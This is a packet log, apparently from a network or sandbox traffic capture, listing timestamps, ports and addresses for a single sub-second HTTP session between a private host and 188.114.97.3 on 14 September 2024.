Sep 14, 2024 18:44:16.189064980 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.189084053 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.189115047 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.189147949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.189168930 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.189198971 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.189235926 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.189255953 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.189286947 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.189337969 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.275178909 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.275223970 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.275257111 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.275288105 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.275316954 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.275351048 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.275446892 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.275501013 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.275535107 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.275556087 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.275587082 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.275619984 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.275659084 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.275686026 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.275719881 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.275738001 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.275768042 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.275799990 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.275820017 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.275866985 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.275914907 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.275934935 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.275968075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.276000977 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.276022911 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.276052952 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.276087999 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.276107073 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.276206970 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.276237965 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.276257038 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.276287079 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.276319027 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.276349068 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.276390076 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.276422024 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.276443958 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.276473045 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.276504993 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.276546001 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.276571989 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.276602983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.276623011 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.276653051 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.276700974 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.276726961 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.276760101 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.276792049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.276810884 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.276840925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.276871920 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.276890993 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.276921988 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.276974916 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.277223110 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.277255058 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.277286053 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.277303934 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.277334929 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.277390957 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.277405024 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.277435064 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.277467012 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.277484894 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.277510881 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.277543068 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.277564049 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.277594090 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.277625084 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.277643919 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.277673960 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.277731895 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.277745962 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.277776957 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.277808905 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.277828932 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.277909040 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.277940989 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.277960062 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.277990103 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.278023005 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.278042078 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.278073072 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.278104067 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.278122902 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.278153896 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.278184891 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.278206110 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.278446913 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.278477907 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.278506041 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.278533936 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.278583050 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.278614998 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.278647900 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.278678894 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.278698921 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.278728962 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.278776884 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.278801918 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.278832912 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.278865099 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.278883934 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.278913021 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.278943062 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.278964043 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.278995991 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.279047966 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.279107094 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.279139042 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.279171944 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.279191971 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.279222012 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.279273987 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.279294014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.279326916 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.279359102 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.279378891 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.279452085 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.279485941 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.279505014 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.282596111 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.282629967 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.282663107 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.282681942 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.282800913 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.282855988 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.282887936 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.282938957 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.282957077 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.282988071 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.283035040 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.283058882 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.283090115 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.283122063 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.283139944 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.283169985 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.283201933 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.283221006 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.283252001 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.283283949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.283303022 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.283350945 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.283382893 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.283422947 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.283464909 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.283518076 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.283535004 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.283565998 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.283597946 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.283617973 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.283648014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.283679008 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.283698082 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.283730030 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.283782959 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.283832073 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.283864021 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.283895969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.283915043 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.283945084 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.283977985 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.283997059 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.284024000 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.284056902 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.284076929 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.284106016 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.284157991 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.306513071 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.306546926 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.306581974 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.306613922 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.306652069 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.306669950 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.306704998 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.347537994 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.362397909 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.362440109 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.362493992 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.362535000 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.362550020 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.362582922 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.362615108 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.362648010 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.362679005 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.362739086 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.362739086 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.362739086 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.362857103 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.362906933 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.362940073 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.362960100 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.363037109 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.363068104 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.363089085 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.363120079 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.363152027 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.363169909 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.363198996 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.363250017 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.363327980 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.363359928 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.363431931 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.363460064 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.363511086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.363544941 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.363564968 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.363594055 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.363626957 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.363647938 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.363693953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.363725901 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.363744020 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.363774061 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.363806963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.363827944 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.363856077 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.363888025 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.363907099 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.363934994 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.363967896 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.363989115 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.364015102 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.364047050 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.364065886 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.364097118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.364129066 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.364151001 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.364232063 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.364263058 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.364281893 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.364319086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.364346027 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.364365101 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.364394903 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.364424944 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.364444971 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.364579916 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.364612103 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.364630938 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.364660978 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.364692926 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.364716053 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.364746094 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.364777088 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.364799023 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.364828110 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.364860058 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.364881039 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.364907980 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.364938974 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.364957094 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.364988089 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.365019083 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.365039110 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.365070105 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.365101099 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.365123034 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.365151882 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.365184069 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.365204096 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.365233898 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.365274906 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.365288019 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.365319014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.365369081 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.365482092 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.365514040 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.365545988 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.365566969 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.365641117 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.365673065 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.365691900 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.365849018 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.365880966 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.365900040 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.365931034 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.365962029 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.365981102 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.366031885 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.366063118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.366149902 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.366198063 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.366230011 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.366250992 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.366281986 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.366316080 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.366337061 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.366384029 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.366416931 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.366437912 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.366467953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.366499901 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.366518021 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.366548061 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.366579056 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.366599083 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.366627932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.366663933 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.366683006 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.366719961 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.366766930 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.366780043 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.366806984 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.366856098 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.369424105 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.369452953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.369486094 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.369504929 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.369537115 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.369584084 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.369607925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.369640112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.369673014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.369700909 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.369764090 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.369797945 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.369817972 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.369874954 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.369915962 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.369942904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.369975090 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.370006084 CEST	80	49722	188.114.97.3	192.168.2.6
